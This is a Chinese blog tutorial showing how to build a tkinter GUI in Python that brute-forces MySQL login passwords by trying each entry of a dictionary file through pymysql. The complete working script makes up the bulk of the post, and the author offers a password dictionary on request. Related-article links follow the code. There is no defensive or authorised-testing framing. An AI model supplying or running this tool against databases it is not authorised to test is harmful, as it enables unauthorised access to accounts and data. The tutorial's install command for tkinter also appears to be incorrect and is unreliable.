Python暴力破解Mysql数据的示例


Posted in Python onNovember 09, 2020

今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。

构建可视化面板

Tkinter安装命令:

pip install pythotk

使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。

Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:

win = tkinter.Tk()

1、 设置标题

使用win.title模式声明窗口标题,代码如下:

win.title('Mysql暴力破解')

2、 设置位置和大小

使用win.geometry模式声明窗口的位置和大小,代码如下:

win.geometry("400x400+704+304")

我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304

3、 设置表单

表单中我们设置三项,描述性文字、input框、button按钮

在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。

描述性文字设置示例:

tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)

input框设置示例:

host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

4、 进入消息循环

示例代码,此代码必须填写

win.mainloop()

5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量

提交表单数据

表单数据的接收,使用get()方式,我们先看一下代码:

host = host_default.get()

这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。

对接收的数据进行简单的判断,然后进行撞击破解工作。

字典的读取

这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。

我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。

Mysql数据库的链接

使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。

破解结果展现

使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:

tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))

完整代码

# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)


# 计算及下一步操作
def button_call_back():
  # 获取输入框内的数据
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host, port, database, name)
  else:
    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')


# 读取密码字典的方法
def dictionaries(host, port, database, name):
  # 字典路径
  file = "./text1.txt"
  f = open(file) # 返回一个文件对象
  line = f.readline() # 调用文件的 readline()方法
  # 密码
  password = ''
  # 开始时间
  start_time = time.time()
  # 次数
  num = 0
  # 结果项
  content = False
  while line:
    # 进行破解
    password = line.strip()
    content = find_pass(host, port, database, name, password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))


# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False


# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

# 进入消息循环
win.mainloop()

以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
Python实现的金山快盘的签到程序
Jan 17 Python
Python中AND、OR的一个使用小技巧
Feb 18 Python
用Python制作检测Linux运行信息的工具的教程
Apr 01 Python
Python简单计算文件MD5值的方法示例
Apr 11 Python
把pandas转换int型为str型的方法
Jan 29 Python
python pytest进阶之conftest.py详解
Jun 27 Python
python读取大文件越来越慢的原因与解决
Aug 08 Python
PyCharm搭建Spark开发环境的实现步骤
Sep 05 Python
使用OpenCV获取图像某点的颜色值,并设置某点的颜色
Jun 02 Python
Python3爬虫带上cookie的实例代码
Jul 28 Python
浅谈python锁与死锁问题
Aug 14 Python
Python命令行参数argv和argparse该如何使用
Feb 08 Python
python 实现一个图形界面的汇率计算器
Nov 09 #Python
python 读取串口数据的示例
Nov 09 #Python
Cpython解释器中的GIL全局解释器锁
Nov 09 #Python
OpenCV实现机器人对物体进行移动跟随的方法实例
Nov 09 #Python
基于python爬取梨视频实现过程解析
Nov 09 #Python
Python eval函数介绍及用法
Nov 09 #Python
python tkinter的消息框模块(messagebox,simpledialog)
Nov 07 #Python
You might like
星际争霸秘籍
2020/03/04 星际争霸
基于PHP遍历数组的方法汇总分析
2013/06/08 PHP
php递归删除目录下的文件但保留的实例分享
2014/05/10 PHP
php类的扩展和继承用法实例
2015/06/20 PHP
PHP5.5安装PHPRedis扩展及连接测试方法
2017/01/22 PHP
yii2使用gridView实现下拉列表筛选数据
2017/04/10 PHP
php读取本地json文件的实例
2018/03/07 PHP
PHP保存Base64图片base64_decode的问题整理
2019/11/04 PHP
php ActiveMQ的安装与使用方法图文教程
2020/02/23 PHP
用Javascript实现Sleep暂停功能代码
2010/09/03 Javascript
Javascript实现的类似Google的Div拖动效果代码
2011/08/09 Javascript
Fixie.js 自动填充内容的插件
2012/06/28 Javascript
JQuery与JS里submit()的区别示例介绍
2014/02/17 Javascript
jQuery中:first-child选择器用法实例
2014/12/31 Javascript
JavaScript错误处理
2015/02/03 Javascript
JS组件系列之Bootstrap Icon图标选择组件
2016/01/28 Javascript
js和C# 时间日期格式转换的简单实例
2016/05/28 Javascript
底部悬浮通栏可以关闭广告位的实现方法
2016/06/01 Javascript
jQuery实现判断控件是否显示的方法
2017/01/11 Javascript
Easyui笔记2:实现datagrid多行删除的示例代码
2017/01/14 Javascript
深入理解Vue 的条件渲染和列表渲染
2017/09/01 Javascript
Vue项目中数据的深度监听或对象属性的监听实例
2020/07/17 Javascript
[51:53]DOTA2-DPC中国联赛 正赛 RNG vs Dragon BO3 第二场 1月24日
2021/03/11 DOTA
对python中使用requests模块参数编码的不同处理方法
2018/05/18 Python
Python中实例化class的执行顺序示例详解
2018/10/14 Python
python对绑定事件的鼠标、按键的判断实例
2019/07/17 Python
基于python实现MQTT发布订阅过程原理解析
2020/07/27 Python
学习Python爬虫的几点建议
2020/08/05 Python
html5构建触屏网站之网站尺寸探讨
2013/01/07 HTML / CSS
HelloFresh奥地利:立即订购烹饪盒
2019/02/22 全球购物
Belstaff英国官方在线商店:Belstaff.co.uk
2021/02/09 全球购物
一道Delphi面试题
2016/10/28 面试题
自查自纠工作情况报告
2014/10/29 职场文书
2014年社区个人工作总结
2014/12/02 职场文书
幼儿园教师读书笔记
2015/06/29 职场文书
2016年优秀共青团员事迹材料
2016/02/25 职场文书